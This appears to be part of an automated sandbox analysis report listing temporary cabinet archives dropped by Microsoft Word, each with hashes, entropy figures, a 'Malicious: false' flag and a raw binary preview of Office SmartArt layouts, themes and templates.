File Type:	Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19893
Entropy (8bit):	7.592090622603185
Encrypted:	false
SSDEEP:	384:v3Zh3VlkpSIcgbA8E0GftpBjEmm3UFLrHRN7GYvlvQyUTL2mTAp:v31qp/A8Pi6mUqGGvU+mcp
MD5:	EF9CB8BDFBC08F03BEF519AD66BA642F
SHA1:	D98C275E9402462BF52A4D28FAF57DF0D232AF6B
SHA-256:	93A2F873ACF5BEAD4BC0D1CC17B5E89A928D63619F70A1918B29E5230ABEAD8E
SHA-512:	4DFBDF389730370FA142DCFB6F7E1AC1C0540B5320FA55F94164C0693DB06C21E6D4A1316F0ABE51E51BCBDAB3FD33AE882D9E3CFDB4385AB4C3AF4C2536B0B3
Malicious:	false
Preview:	MSCF............D................................?..................c...............TabbedArc.glox.....c...........Content.inf.;....Y.[.........B.....?.T..ZD...........^C...U.R<Z....z+.I.....Z..-.V...f.....lB..\P.....=.-p....w ...\.kD..x'v..T..A..............".8...d.........FD.ZL.h..T...bp.)9B.v..i..VX...&..\..7.s..qy...l........Rty.Y...rU..>.9...8....L..\.^x.kDU.\|TJ..{kN.G..E..$.kvy?.. mv......P..4.....q.1.6<u....e..dD...4.1E..Xi.5.=....1.P.c.K~S...YMO:.?..cL.g.tq\.(b1....E..0A.i..C...BT.m.S......:...}.&U..#QL..O.O../..K......=..........0a..O............BYP......>f.......iu...7.K..;QO~.t....%N.s.]>~#../7YN.....C..9.=cY.......y..U5.....,.....u.....#_..SG.`NR.....?..d.R.k.rX$...&.... ..h.4T.D^k-xA...............Hz..ep)e..4..P."fo Ne...o.....0n.Exr.........H..v...A.."..%)2......5...".}j.o8...E.HRQ;}.. .._L.+.jz....{.U..}...=B.o.^..vZ.:5.Z.M....y{\(...N..9...EB*MG...!N.vy..^...nE..2..@.;.4..C..t.4....h..O.8.=.m./...\|Lu.\|mCU..b.^.n39.h[M...%D{..w.1

C:\Users\user\AppData\Local\Temp\cabC0C8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	31083
Entropy (8bit):	7.814202819173796
Encrypted:	false
SSDEEP:	384:0XbSq3W46TVZb5fOFo1HtZwGqtRT44hS+nyBoiuFgbA8E0GftpBjEcBFLrHRN7Ku:0XpOflfOFo1DMr/iuuA8Pi6cfKjW66b
MD5:	89A9818E6658D73A73B642522FF8701F
SHA1:	E66C95E957B74E90B444FF16D9B270ADAB12E0F4
SHA-256:	F747DD8B79FC69217FA3E36FAE0AB417C1A0759C28C2C4F8B7450C70171228E6
SHA-512:	321782B0B633380DA69BD7E98AA05BE7FA5D19A131294CC7C0A598A6A1A1AEF97AB1068427E4223AA30976E3C8246FF5C3C1265D4768FE9909B37F38CBC9E60D
Malicious:	false
Preview:	MSCF....[:......D...........................[:...?...................A..............CircleProcess.glox......A..........Content.inf......9.B[.....@........!...(A.D..K.W.wwpwJj\.K\w...]...K.!.....@0..?,...}won`... ....&I..(;.....X.u..^.R..^......_:....W>f\....T...B..i`\|q.....................i.5....(........0q7@.@..F...?A.`.....,L.......5.+../56..a`....1C5..9.I.N.......@\|<+./......... .ya....>l.,t.......y.y5...FF.,F..jCA...SA..H....8u.L..eM?.w8.......~^.Mr.[...(.._......u..+.......j..TJ.:<.3.X`...U.bz...[...r-...[...+..B.......}...\'.i...C.8.B_...c.8</..s.....VQ.Y..m.,.j~;y ...2.5.VQ...K..jP..2..r-...HA...."..9).7.....5.E._.wq.......!.+n+.f...s].4M'.1&...5....4..k..NV.M1.7`a..<.P4.\|.mrd.i.R...u...............v.}..n\.C$.....[..2c.^..W..g..._.0.C.o....%.z.!.;.@y.`\..UO#i.)...Q...........L. .\:_..H.{.W...@...T.4..A.a...Wo?o$4.....#.V.s8M.Gh..p?A...Y.....)...........r\|...!..o9...8..%#.[....;...3<Z...g....~.Z....,.(...qA.'x#..xC..@...HOuW.[.[....c.........

C:\Users\user\AppData\Local\Temp\cabC0EC.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.65837691872985
Encrypted:	false
SSDEEP:	384:PWew5RNDcvPgbA8E0GftpBjE0hsyaFLrHRN7BD9lI66YR:P3GRNDcEA8Pi60hsyABDo66g
MD5:	7BF88B3CA20EB71ED453A3361908E010
SHA1:	F75F86557051160507397F653D7768836E3B5655
SHA-256:	E555A610A61DB4F45A29A7FB196A9726C25772594252AD534453E69F05345283
SHA-512:	2C3DFB0F8913D1D8FF95A55E1A1FD58CE1F9D034268CD7BC0D2BF2DCEFEA8EF05DD62B9AFDE1F983CACADD0529538381632ADFE7195EAC19CE4143414C44DBE3
Malicious:	false
Preview:	MSCF............D................................?..................................RadialPictureList.glox.................Content.inf....8....[.... $nq......C...../U..........a......S.Q...Q....j............(..z,.g.........^...Y..D... #i.TH5.<.=N..$..7.p".7.............`.3..1~,=,(.d8.Z.1....4'G.....!W^gClf._j.-N..&k.....Y3` =.(S..B^...i.zB.U....0O..h...I.(.......L...5.X.8.Sc<=>w.=.?&.....mR.......x.......mpW.T..^.FU...SN.C)......vsa.,x......,....E..i>..[g...#t...M..GR.9..$/4.:..q.bc9..x{bC.0..K.)..t.Y.&.v.d.16.B..c..or..W.,.B.........O.0..k.v........*F+..U.w...d...o8......A).}...#......L.!?.U.r.^.$...e.(..PG)8..+.9.5.l}.)..b.7+. 4....-.lC...\|..j..Q.,.....7.W...\|;j...%...:...\|H..........<..%...K.....Fy.q$.k..}..8.9.M.u.?$].......r.....e.\|..._..iT.;Dq5[....f.s..P.......e.T....!Y{.....t.wm..A..w-..7...3..T.:8.4.a[.Oo.. V.l.@.}..........E.&..J.....+..+.9)9<.._R.Hb.....V..Qu....:v.t.Li.0..J..V..b...!..N....-mD..c..(.[&o>.M.b..H.q..lk../..........W.8..z..B...

C:\Users\user\AppData\Local\Temp\cabC0ED.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	26944
Entropy (8bit):	7.7574645319832225
Encrypted:	false
SSDEEP:	384:sbUX16g8/atF4NB3TJOvqeMRD/8svIZj/OwgbA8E0GftpBjEYwFLrHRN7mYll7PY:sbhg8yY4nMZK2hA8Pi6Yum4IVR
MD5:	F913DD84915753042D856CEC4E5DABA5
SHA1:	FB1E423C8D09388C3F0B6D44364D94D786E8CF53
SHA-256:	AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578
SHA-512:	C48850522C809B18208403B3E721ABEB1187F954045CE2F8C48522368171CC8FAF5F30FA44F6762AFDE130EC72284BB2E74097A35FE61F056656A27F9413C6B6
Malicious:	false
Preview:	MSCF....0......D...........................0...?..................t,..............ConvergingText.glox.....t,..........Content.inf..C..)t-[.....@.........=...xxA. ...E^....x.x.^.......x..^^...DF.......s..d.P.....5.;..]...2.t.w.....O9.G..;.'.T....@I.,.q.u.3..P...9... ....`J.......g.(....).,.h0.....$.3..;.._.....~.de.jj.....U..K.0....`.@.H.1.x.Z.@..q....?....x.wW.....+am8A".....I..)..]...s..-z.2S+\|.Cb.t6f],.n.LV......OVg....O.at\|..-..x.....:....]s...u..g}.P..v.3....^.".%..%...#.2.....l00...n.......r8.p.....^.....n.)..,..t.^$b...b.q.W...F..R...n.-.+..'........Aw=._OwH....8.:s..{.#..{N.hW..`.._........Wy....>U.?....-.8tg...=..y..@.,.v\|......l...t..l#{...H....9..\|......~...De..#@y.&K....U...q.c.zK..D.<pV.....Ql..&Y...=#...w....r.`#2....Ug.J(..T...KmW.@...!....j:......M......!..E.7#s.t..F.aU..N....-.i......\|w.lr..G.n.,.......=Kl.-m.?F.....v]?.......{q.U.t...<.\|..u.....3R.`.t.T.>;v.....KQ...S...7..1...N.kN.y.)v.....3H:..D.{.+.(......u..^W&.

C:\Users\user\AppData\Local\Temp\cabC0EE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22594
Entropy (8bit):	7.674816892242868
Encrypted:	false
SSDEEP:	384:L7d2l8FbHaaIKbtv1gDISi8E0GftpBjEZRFLrHRN74bUll7PK/pd:LUlCIOt/8Pi6Zv4bMId
MD5:	EE0129C7CC1AC92BBC3D6CB0F653FCAE
SHA1:	4ABAA858176B349BDAB826A7C5F9F00AC5499580
SHA-256:	345AA5CA2496F975B7E33C182D5E57377F8B740F23E9A55F4B2B446723947B72
SHA-512:	CDDABE701C8CBA5BD5D131ABB85F9241212967CE6924E34B9D78D6F43D76A8DE017E28302FF13CE800456AD6D1B5B8FFD8891A66E5BE0C1E74CF19DF9A7AD959
Malicious:	false
Preview:	MSCF....2.......D...........................2....?..................0...............ThemePictureAccent.glox.....0...........Content.inf.o.@D..8.[.........B.....?. $...K.....~....aZ.WA"...k.......Z......."......"..X.fpB 2@d..87.[.A......p..e.'......F..P^%.%.RK...........T%0..........9..+8 ...&.q.....+.......^.fad^^n...d.....s1..... .3j.c-c7..y<.....6........C5n.KG...Rs[lt..ZkwI.!..Uj.ez_!A^: /.;.Rl4....^..<6..N...'.YY.n.E{.`..s.7..z.......L.y.Y.....q.kx.....[5.+<to......1...L.r.m..kC.q.k.1..o.w8s.....xh.@.b.`l\...}z1.6..Y.</DY...Z5..D...0..4.;..XAA..0qD..E.....h...C..hH......S..Z.\.VBu......Rxs.+:RKzD......{......a..=......).<.....d.SM.......c!t.4.h..A=J~.>q?Hw.^.....?.....[..`....v.nl..A.u...S!...............c......b.J.I.....D...._?}..or.g.JZ#."_``.>.....{...w......s...R.iXR..'z....S.z.\..f.....>7m..0q.c-8\..nZw.q..J.l....+..V....ZTs{.[yh..~..c........9;..D...V.s...#...JX~t8%......cP^...!.t......?..'.(.kT.T.y.I ...:..Y3..[Up.m...%.~

C:\Users\user\AppData\Local\Temp\cabC0EF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31471
Entropy (8bit):	7.818389271364328
Encrypted:	false
SSDEEP:	768:eNtFWk68dbr2QxbM971RqpzAA8Pi6TlHaGRA5yr:eNtEkpGSbuHAkP7TlHaGq54
MD5:	91AADBEC4171CFA8292B618492F5EF34
SHA1:	A47DEB62A21056376DD8F862E1300F1E7DC69D1D
SHA-256:	7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA
SHA-512:	1978280C699F7F739CD9F6A81F2B665643BD0BE42CE815D22528F0D57C5A646FC30AAE517D4A0A374EFB8BD3C53EB9B3D129660503A82BA065679BBBB39BD8D5
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......g...............sist02.xsl.................Content.inf....!....[...=.rF..3U.5...g.i?..w.oY..If'.......Y.;.B.....Wo.{T.TA.~......8......u.p....@Q..k.?.....G....j.\|.J69H.2.ee..23s..;3..i..L.,...0se.%J........%.....!.....qB...SC...GAu5.P..u7....:.\|.$Fo............{.......v.v.g..{o....e.....m.JeRG..,.%.1..Lh.@8.i.....l.#.HB`B....C......D@....?....P?..................\|.9..q.......9.n.....F...s,....3..Q..N......y......_i..9\|.<w...'q.Tq...U.E.B...q.?.4..O(_O.A.......jC.~.21.7.....u.C...]uc.....-.g.{C~9q.q.1.1...4..=.0.Z.^....'../....-.6.K.....K...A#.GR..t.@.{.O.......Q5..=....X...^...F3.e.E.Z..b+R..?Z..0T1.....gQz.&....%y=zx.f.....6-...u.Rm..x<...?...!g@.}..).J...:...9.s&.v..}..'...\..Sd..F...........kQr.....h..3..1....B...B{M...%O.59.\.#....s/.pE.:}...k_.P.>.zj....5\|.9+....$M..L........(...@#.....N.....N...........E..7..R$.:9!r>7.....v...>..S.w....9..]..n.w.;&.W..<r\S....

C:\Users\user\AppData\Local\Temp\cabC100.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21111
Entropy (8bit):	7.6297992466897675
Encrypted:	false
SSDEEP:	384:wWZsOvbMZGgbA8E0GftpBjEtnFLrHRN7Dfll7PK/pirk:xZRvuzA8Pi6t9DPISk
MD5:	D30AD26DBB6DECA4FDD294F48EDAD55D
SHA1:	CA767A1B6AF72CF170C9E10438F61797E0F2E8CE
SHA-256:	6B1633DD765A11E7ED26F8F9A4DD45023B3E4ADB903C934DF3917D07A3856BFF
SHA-512:	7B519F5D82BA0DA3B2EFFAD3029C7CAB63905D534F3CF1F7EA3446C42FA2130665CA7569A105C18289D65FA955C5624009C1D571E8960D2B7C52E0D8B42BE457
Malicious:	false
Preview:	MSCF....g.......D...........................g....?..........}.......................TabList.glox.................Content.inf....t....[......@..C...../.U5...........6...`.....T..>3.................=..09`..t......a..Y..BI.Z....=.'0...%...T..........H...>.:A.r......n..p...Pf.h...I.8... ....M.]&.#.vv'.....[c......g....>"......<c..f....i...sb!Z..iu<.%\|......q.....G28.h-...7.....W.v...RtdK..F~.0.3.'.e..b7.c......a.3.....a\..]...gp8.+.u/}.w.qF........8.=.=\|....\~..S.-q}]0...q.B.H.^J...!...a'.2Tn!..."..%........=.e_-.....{o..%o...a`.w..L.5..r.....e.8...pO..RE.Wgr..b.%.E...O.......8s...E....Um].C..M.....[...H.FZ..4...eZI.$..v.3<]..r....B..............8i......e<.D...Q4.q.^S.....H.b.......r.q..0o.......2..PP,."...JI...xU`.6f..K..Q9.Q..h..t....AI.S6...7............X..`dv..r..S....),7ES....#.....(...\.nh...X.ps%l..F...."<_....q....v........_.e.....P.........\|&..fi..4..@..^0..v.]7.......^. ."..}(...w.g.X...=<....p.......L...P..XV....@:....N...Y....

C:\Users\user\AppData\Local\Temp\cabC101.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	43653
Entropy (8bit):	7.899157106666598
Encrypted:	false
SSDEEP:	768:+bjfeR1OOZvv439PlDe5/QzhgFSo0UEDmJwkqTA8Pi63Bsgn66w:IM3CN9ZzhFbUUwaP73BsB6w
MD5:	DA3380458170E60CBEA72602FDD0D955
SHA1:	1D059F8CFD69F193D363DA337C87136885018F0F
SHA-256:	6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701
SHA-512:	17080110000C66DF2282FF4B8FD332467AF8CEFFA312C617E958FDFEBEE8EEA9E316201E8ABC8B30797BB6124A5CC7F649119A9C496316434B5AB23D2FBD5BB8
Malicious:	false
Preview:	MSCF....uk......L...........................uk...?...................j......r...............Equations.dotx.................Content.inf.94v..R..[..... .............v........." Vw.w..r.....D.V5.p...W......b;....\x.....f.-...............l.....L.F....@..BnF.I.....%1..0....&.X.......X-.\.\.>..A....@..:...N .G./.Sp.A0.0.`.....q....b... ......S.{K...V....J............>\....\.E.#.,$.hxu.F.Fo....<...{..6../..#..l>d...w...&...S.....L.].....^..L......;~l.......qw.o. .....v.u.W`.4Z.A.....dC..Q)9.c..qgtfJ..G.(.J....q4V.).mK4;..zY..b.5&....V...0X.].Z..U.Lx..^..:8XQh.....7yy.._5............c.W...c...xY..%..G.$....kg^.1g.9.....z^.'...q."..K)a[.pW .LS.:Q8.....2..._q.os....y...d11..m....8.,.^.4_?i.e.u.,....._y.....zZZA.D.D<..+....{....Sfnv...t.....0...vV..y.r..3..%.<.t......;.h.wh.-.g.>..5...R...........y..]^..R..<...>$~.'...kk.n..H.EN.eQ.Q.O./='....)t.l0,/].....FNN......?...&..'.eS....K.K.v".^L..x=.^......1x\|....=}@...B.kq;_a..C.q?..Y9.v......Q..u.G..V.

C:\Users\user\AppData\Local\Temp\cabC102.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	46413
Entropy (8bit):	7.9071408623961394
Encrypted:	false
SSDEEP:	768:WaxA0CH65GY3+fvCXCttfR8JEBrkquwDn+QV5V+vNWBatX/xG8Pi65sMuMjvU+mQ:hne65GYOfKXMSEBrBtDnzFAI4JxP75sM
MD5:	C455C4BC4BEC9E0DA67C4D1E53E46D5A
SHA1:	7674600C387114B0F98EC925BE74E811FB25C325
SHA-256:	40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0
SHA-512:	08166F6CB3F140E4820F86918F59295CAD8B4A17240C206DCBA8B46088110BDF4E4ADBAB9F6380315AD4590CA7C8ECDC9AFAC6BD1935B17AFB411F325FE81720
Malicious:	false
Preview:	MSCF....=v......L...........................=v...?..................5u......................Text Sidebar (Annual Report Red and Black design).docx.v...............Content.inf..C,.zd..[............... .w.....b...wwww]r..W\ww...... .hh...........o.nz.....Ku.7..-.oH...h;.N..#.._.D,}......!Q$..Un.tI11..$w.r3... ..p...=.1....""..n.../....h.A...Y..c,.Q.,......",..b.1.w..$.....l../;..J.....~.. ....+.R#....7.-..1.x.feH.@.......u...(.DQ%.wL.N\|.xh...R..#....C...'X.m.....I{W.....5.C.....\....z.Y.)w..i...%....M..n.p.....{..-G9..k.bT.6........7....).....6..ys.....R.e.....0.Xk`.3..X\xL..4J"#.f...:....r..2..Y.uW..052.n.+ ..o..o..f&u.v.&9y.P..6.K..in.DU.#.~....4i..6;.5.w..i...g.(....../..0Vh...C..//....W..:w......7.6....]....4.9...sL.0k...zHh..2N.H.....]..(.x.:..........Y.+...-.....&.*^..Q.sW...v..w.....k.L.e.^.W4iFS..u.....l.g'...b~:Zm...S.2.\|......5S..=.............l.../\|....G\|.9 ..#.q...W.Q...G=.."W..'.6....I....D._.{.g.47....V.1._..<?....m............)..T.

C:\Users\user\AppData\Local\Temp\cabC114.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19288
Entropy (8bit):	7.570850633867256
Encrypted:	false
SSDEEP:	384:5ZII4Hf+7G8E0GftpBjCwBFLrHRN7bcClvQyUTL2mH:pG8PicgbcAvU+mH
MD5:	B9A6FF715719EE9DE16421AB983CA745
SHA1:	6B3F68B224020CD4BF142D7EDAAEC6B471870358
SHA-256:	E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070
SHA-512:	062A765AC4602DB64D0504B79BE7380C14C143091A09F98A5E03E18747B2166BD862CE7EF55403D27B54CEB397D95BFAE3195C15D5516786FEBDAC6CD5FBF9CD
Malicious:	false
Preview:	MSCF....H.......D...........................H....?..................................VaryingWidthList.glox.................Content.inf...O.....[.... v.q......R.....>.%i.I.HhD.V...qt.....'....N...!..aw$(J.%(..A..h......l\|.D.p9`..Y09.:.u....p. :,..YD=0.p. ......w...........<..;.....u.."......7[....8.....?^........-..;q.\|.....B....PJ....r.K#.#.0'...}.........+gpR...T....5.iu.^I...A\..gK....}..z.B.nT.../.m.......N....E'1.E.\..o.....W..R.#.#...8.7...R.SbW-...%......$.obj.F..W_@....sY!........s.O..."k. ..b....j....v...P.\....7d...\|"J.T...2p..m.&..r..,2.).....X.`...xt].U...b.h..V.....\|L..N.Z.O#....o...1R.w30.g..?;..C.T.:$..MGY.C"i\.f..#..<.k...m..s.w. ..Ga].....wt.h\|.Ta<.......(SO.]9.%a..Z... r._JH.=O...P.9a.v.....Kj.".T...m...4.?...F...$...y.....hbW.UA..u.&)....py.C{.=t.....n...}\|H3A9.=..W..JJ..y./Y.E.M9..Z..w. .HB.YoIi..i.e..9;n...SpHw,....f....d>..g.m..z...... ...f...KP.M..U.....~vFD.fQ.P?......2!.n.....`@C!G...XI.].s,.X.'...u.E.o..f

C:\Users\user\AppData\Local\Temp\cabC115.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	7.641082043198371
Encrypted:	false
SSDEEP:	384:zdx+NRrogu6fzCI7Th7G8E0GftpBjEzZq4FLrHRN7/Oll7PK/pB:/+NRrFf/G8Pi6zZb/GIB
MD5:	97F5B7B7E9E1281999468A5C42CB12E7
SHA1:	99481B2FA609D1D80A9016ADAA3D37E7707A2ED1
SHA-256:	1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118
SHA-512:	ACE9718D724B51FE04B900CE1D2075C0C05C80243EA68D4731A63138F3A1287776E80BD67ECB14C323C69AA1796E9D8774A3611FE835BA3CA891270DE1E7FD1F
Malicious:	false
Preview:	MSCF....].......D...........................]....?..........{.......................rings.glox.................Content.inf..\|^.....[......P........<.$.."..0R..xa.Ax#B..d... ....K,.....^.H.....H.........&.j.\f.. ..,....,..!k..R..e..!...E...........................><.RB.....~h...........Q................g..M\|,...x.....qV7.u..\...F-N.{-..X..&Zig.~..{.A.p.Z...X..{,-n............`$.%.ND.....>].6cvZ.%d..a.$..-.K.Hf....L..;.#...H....U,........P.@.-$C.,.g...%YJE..$.jP........b...Y<..[U...MF]F.K...1... x.}3w.o.#,.}T.....w5+...=.=...c.F^....OM.=.......G_{n.*...WC.w!......{/.~.}..s..6_......)..Xy...4.....<..XZJ........#~._i....%..fM.V.?.q...q.....7...B..sVt...(.:..c....~.e...kGZ...C..(J..o...`...?.)-.T.l....&...gR.$.....g.:...2.e%F.....x....z0...K..a8B...........D..]....7....~.".DR...r)...}b)e.>.\h~f...(}.c........Q...o5H.........C.KC.(.L.l................R..a.pg{..\.......-b........}.C......qTS..%..r.lG..Q.1..Z.>a.D...tC..LV...Rs.C.M18x.:......%O.

C:\Users\user\AppData\Local\Temp\cabC125.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21875
Entropy (8bit):	7.6559132103953305
Encrypted:	false
SSDEEP:	384:k73HRpZA6B3ulrnxtRT7G8E0GftpBjEdHqlFLrHRN7uhFlvQyUTL2m4c:k7XRgIkrG8Pi6dmuNvU+mp
MD5:	E532038762503FFA1371DF03FA2E222D
SHA1:	F343B559AE21DAEF06CBCD8B2B3695DE1B1A46F0
SHA-256:	5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E
SHA-512:	E0712B481F1991256A01C3D02ED56645F61AA46EB5DE47E5D64D5ECD20052CDA0EE7D38208B5EE982971CCA59F2717B7CAE4DFCF235B779215E7613AA5DCD976
Malicious:	false
Preview:	MSCF....c.......D...........................c....?..................................ThemePictureAlternatingAccent.glox.................Content.inf...3.....[.... .qq...........\<.^......o."......f.o...x.{..q..^.MH^...........{0.K....4pX.i...@6A4X.P.01d....'p.......zA.......... .......7.......a. `.=!@- ......>G.s.k~@.a.lfha:m....1...@.,G`....{....W..N..qs.......j.+TrsT.l.9..L...1+...d..-u..-.......).#u&...3......k.&C...DdZ.'.......8..<PF..r.eq.X6...u..v...s5.m.Q.l.G%.<.]....RV<...S..Dv..s.r.......dh.N.3-.Hf'.....3.GZ..E.kt.5......h...\|...?!.L....~.)..v....:2.../F.,....o.qi.i7..E.\|.mh.R_.@A.FO@i.....Feo...x.l...{E.\W9\|V...=#..3..(......tP.:i....Ox.U.N...%6...p.6&.....<zh.z.\|.<Z.?.k....y7m...F.Z$-.:.l.h...{T..7....?..T...d,r...z?../...`/Z......a.v@)....u......V..v.:.._.\|.'..[..O.s.OAt-."b.In"..I...J*.~H.:-...?..uV....dZ;z:.l.{.E.,.Q..i]:.0r.I.y..f...../j.wN...^R.....u....>..}....f.f...]A..C~;/....%..^#..N.a..........99.....`.....%..iS....S......$....)

C:\Users\user\AppData\Local\Temp\cabC179.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	7.668619892503165
Encrypted:	false
SSDEEP:	384:GByvLdFHny7G8E0GftpBjE8upFLrHRN778lvQyUTL2mm2y:Oy3HkG8Pi6887mvU+ma
MD5:	8B29FAB506FD65C21C9CD6FE6BBBC146
SHA1:	CE1B8A57BB3C682F6A0AFC32955DAFD360720FDF
SHA-256:	773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F
SHA-512:	AFA82CCBC0AEF9FAE4E728E4212E9C6EB2396D7330CCBE57F8979377D336B4DACF4F3BF835D04ABCEBCDB824B9A9147B4A7B5F12B8ADDADF42AB2C34A7450ADE
Malicious:	false
Preview:	MSCF....4.......D...........................4....?..................1...............ThemePictureGrid.glox.....1...........Content.inf....K..5.[.... V.q......B.....?.h.i.J.D...Z...>.....i~...A...Z....H.hy.D..X.....>...L.I..`. z w0}.K`.C{h....W\../.U..p\%...B...;............9..8.^M.....].lP.p...\|..?..M....E..S.`..-n........Q'.'.o..C}=..?`.bQ...J"0f.. ....k3n..F.Pu..#...w].`<...."D.].-.#+):..fe..=<.M...4..s.q.f._.=.T.M..U.[R.kbw.,......t6_I...~.X..$_.q....}2..BR...).[...<.l.3........h%....2.$`>..hG...0.6.S......._3.d~1.c.2g....7tTO..F.D.f.Y..WCG.B..T....Gg&.U'....u.S/......&6w..[bc.4....R.e..f.,....l."........I....J.=~...$x.&2...+,-.;.v.'.AQ.fc...v._..rZ..TYR...g?..Z..!.3mP dj...../...+...q.....>..../...]P.z?DW&.p..GZ....R5n......,..]{].0m.9...o.{...e."...8VH....w"%;.g\.K..p.}....#r.u..l.vS...Y.7U.N-E@.....~....E...x.....C.......{NP....5Ymk.*._.K...Z...f..;.......b.....,._@B..\.S..d.'\rs..].}.5"XJU.J..'.zk}.+P.)C.X.?9sx.D....(K....P^N_D...Z.........

C:\Users\user\AppData\Local\Temp\cabC246.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	307348
Entropy (8bit):	7.996451393909308
Encrypted:	true
SSDEEP:	6144:7vH3uG+yiWx0eVJyORloyyDqnHefzOs81MrXLXx7:b36yiWH/LRS2CJl1
MD5:	0EBC45AA0E67CC435D0745438371F948
SHA1:	5584210C4A8B04F9C78F703734387391D6B5B347
SHA-256:	3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7
SHA-512:	31761037C723C515C1A9A404E235FE0B412222CB239B86162D17763565D0CCB010397376FB9B61B38A6AEBDD5E6857FD8383045F924AF8A83F2C9B9AF6B81407
Malicious:	false
